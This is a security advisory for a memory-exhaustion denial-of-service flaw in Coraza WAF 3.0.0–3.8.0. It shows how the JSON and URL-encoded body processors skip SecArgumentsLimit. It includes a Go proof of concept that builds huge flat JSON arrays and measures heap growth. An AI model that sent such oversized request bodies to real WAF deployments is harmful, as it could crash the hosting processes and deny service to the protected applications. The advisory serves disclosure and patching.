Coraza WAF versions 3.0.0 through 3.8.0 contain an improper resource-limiting vulnerability in the JSON and URL-encoded request-body processors. A remote, unauthenticated attacker can send crafted HTTP requests that trigger excessive argument creation, resulting in uncontrolled memory consumption and denial of service.
The affected body processors insert parsed values directly into the ARGS_POST collection instead of using the standard argument-handling path that enforces SecArgumentsLimit. As a result, request-body parsing can continue beyond the configured argument threshold, allowing an attacker to create a large number of request arguments and consume excessive memory.
Technical Details
The components and functions involved are:
- Directive parser:
directiveSecArgumentsLimit()in internal/seclang/directives.go, lines 1385 to 1395 storesSecArgumentsLimitinWAF.ArgumentLimit(default1000). - Transaction:
AddPostRequestArgument()andcheckArgumentLimit()(lines 780 to 799),ProcessRequestBody()(lines 1062 to 1145),NewTransactionVariables()(creates ARGS_POST at line 1947) andTransactionVariables.ArgsPost()(lines 2150 to 2152) in internal/corazawaf/transaction.go. - Body processor API: the
BodyProcessorOptionsstruct in experimental/plugins/plugintypes/bodyprocessor.go, lines 14 to 26. - JSON body processor:
jsonBodyProcessor.ProcessRequest()(lines 21 to 48),readJSON()(lines 79 to 89) andreadItems()(lines 98 to 145) in internal/bodyprocessors/json.go. - urlencoded body processor:
urlencodedBodyProcessor.ProcessRequest()in internal/bodyprocessors/urlencoded.go, lines 19 to 34. - Query string parser:
ParseQuery()anddoParseQuery()in internal/url/url.go, lines 12 to 39.
ARGS_POST and its limit check live in the transaction
ARGS_POST is the argsPost collection of the transaction. NewTransactionVariables() creates it and TransactionVariables.ArgsPost() hands it to other components:
// internal/variables/variablesmap.gen.go, lines 103 to 104
case ArgsPost:
return "ARGS_POST"
// internal/corazawaf/transaction.go, line 1947, in NewTransactionVariables()
v.argsPost = collections.NewNamedCollection(variables.ArgsPost)
// internal/corazawaf/transaction.go, lines 2150 to 2152
func (v *TransactionVariables) ArgsPost() collection.Map {
return v.argsPost
}
The limit is checked only by checkArgumentLimit(), which AddPostRequestArgument() calls before it adds a value. Nothing inside the library calls AddPostRequestArgument(). It exists on the public types.Transaction interface for integrators:
// internal/corazawaf/transaction.go, lines 780 to 799
func (tx *Transaction) AddPostRequestArgument(key string, value string) {
if tx.checkArgumentLimit(tx.variables.argsPost) { // limit check for ARGS_POST
tx.debugLogger.Warn().Msg("skipping post request argument, over limit")
return
}
tx.variables.argsPost.Add(key, value)
}
// ...
func (tx *Transaction) checkArgumentLimit(c *collections.NamedCollection) bool {
return c.Len() >= tx.WAF.ArgumentLimit
}
Body processors receive ARGS_POST but not the limit
ProcessRequestBody() calls the processor named in REQBODY_PROCESSOR with tx.Variables(), which exposes ARGS_POST through ArgsPost(), and with BodyProcessorOptions. That struct has no argument limit field, so only the JSON depth limit is passed:
// internal/corazawaf/transaction.go, lines 1132 to 1136
if err := bodyprocessor.ProcessRequest(reader, tx.Variables(), plugintypes.BodyProcessorOptions{
Mime: mimeType,
StoragePath: tx.WAF.UploadDir,
RequestBodyRecursionLimit: tx.WAF.RequestBodyJsonDepthLimit, // tx.WAF.ArgumentLimit is never passed
}); err != nil {
The JSON and urlencoded processors write every value into ARGS_POST
readItems() flattens the JSON body into a map with one entry per value (line 136). Its only guard is the nesting depth check (lines 101 to 105), so a flat array such as [1,1,1,…] yields one entry per element. jsonBodyProcessor.ProcessRequest() then copies the whole map into ARGS_POST:
// internal/bodyprocessors/json.go, lines 31 to 38
col := v.ArgsPost() // ARGS_POST
data, err := readJSON(ss, bpo.RequestBodyRecursionLimit) // whole body flattened, depth limit only
if err != nil {
return err
}
for key, value := range data {
col.SetIndex(key, 0, value) // no argument limit check
}
urlencodedBodyProcessor.ProcessRequest() does the same with ParseQuery(), which keeps every pair in the body:
// internal/bodyprocessors/urlencoded.go, lines 26 to 30
values := urlutil.ParseQuery(b, '&') // every pair in the body, no count limit
argsCol := v.ArgsPost() // ARGS_POST
for k, vs := range values {
argsCol.Set(k, vs) // no argument limit check
}
Neither processor calls AddPostRequestArgument(), so checkArgumentLimit() never runs for request bodies. SecRequestBodyJsonDepthLimit bounds only nesting depth and SecRequestBodyLimit bounds only bytes, so a body within the recommended 13107200 byte limit can still create about 6.5 million ARGS_POST entries.
Proof of Concept
The following proof of concept reproduces the issue against Coraza v3.8.0. It configures SecArgumentsLimit to 1000 and processes increasingly large flat JSON arrays while measuring heap consumption.
package main
import (
"fmt"
"runtime"
"strings"
"github.com/corazawaf/coraza/v3"
)
const directives = `
SecRuleEngine On
SecRequestBodyAccess On
SecRequestBodyLimit 13107200
SecArgumentsLimit 1000
SecRule REQUEST_HEADERS:Content-Type "@rx application/json" "id:1,phase:1,pass,nolog,ctl:requestBodyProcessor=JSON"
`
func heapMB() float64 {
var m runtime.MemStats
runtime.GC()
runtime.ReadMemStats(&m)
return float64(m.HeapAlloc) / (1024 * 1024)
}
func run(elements int) float64 {
waf, err := coraza.NewWAF(
coraza.NewWAFConfig().WithDirectives(directives),
)
if err != nil {
panic(err)
}
body := []byte(
"[" + strings.Repeat("1,", elements-1) + "1]",
)
tx := waf.NewTransaction()
tx.AddRequestHeader("Content-Type", "application/json")
tx.ProcessRequestHeaders()
before := heapMB()
if _, _, err := tx.WriteRequestBody(body); err != nil {
panic(err)
}
if _, err := tx.ProcessRequestBody(); err != nil {
panic(err)
}
used := heapMB() - before
tx.Close()
return used
}
func main() {
fmt.Println(
"SecArgumentsLimit is 1000, so ARGS_POST should remain bounded.",
)
for _, n := range []int{
1000,
100000,
1000000,
3000000,
} {
fmt.Printf(
"%8d array elements (~%d MB body) -> +%.0f MB heap\n",
n,
len("["+strings.Repeat("1,", n-1)+"1]")/(1024*1024),
run(n),
)
}
}
Heap usage increases with the number of parsed elements rather than plateauing around the configured argument limit, demonstrating that SecArgumentsLimit is not applied by the affected request-body processing path.
Impact
A remote, unauthenticated attacker can craft HTTP requests containing a large number of JSON or URL-encoded parameters, causing Coraza WAF to allocate excessive memory.
Successful exploitation may result in:
- Process-level memory exhaustion
- Termination of the Coraza-hosting process
- Denial of service for applications relying on the affected WAF instance
Disclosure timeline
GHSA-6r3q-mjv7-xr8m was reported to the Coraza maintainers.
CVE-2026-41510 was reserved for the pre-existing GHSA-6r3q-mjv7-xr8m advisory.
The argument-limit bypass affecting the JSON and URL-encoded request-body processors was identified.
GHSA-3ww9-vw83-9w5x was submitted to the Coraza maintainers with technical details and a proof of concept.
The maintainers merged GHSA-3ww9-vw83-9w5x into the pre-existing GHSA-6r3q-mjv7-xr8m advisory and extended the existing fix to cover both findings.
References
- GitHub Security Advisory GHSA-6r3q-mjv7-xr8m github.com/corazawaf/coraza/security/advisories/GHSA-6r3q-mjv7-xr8m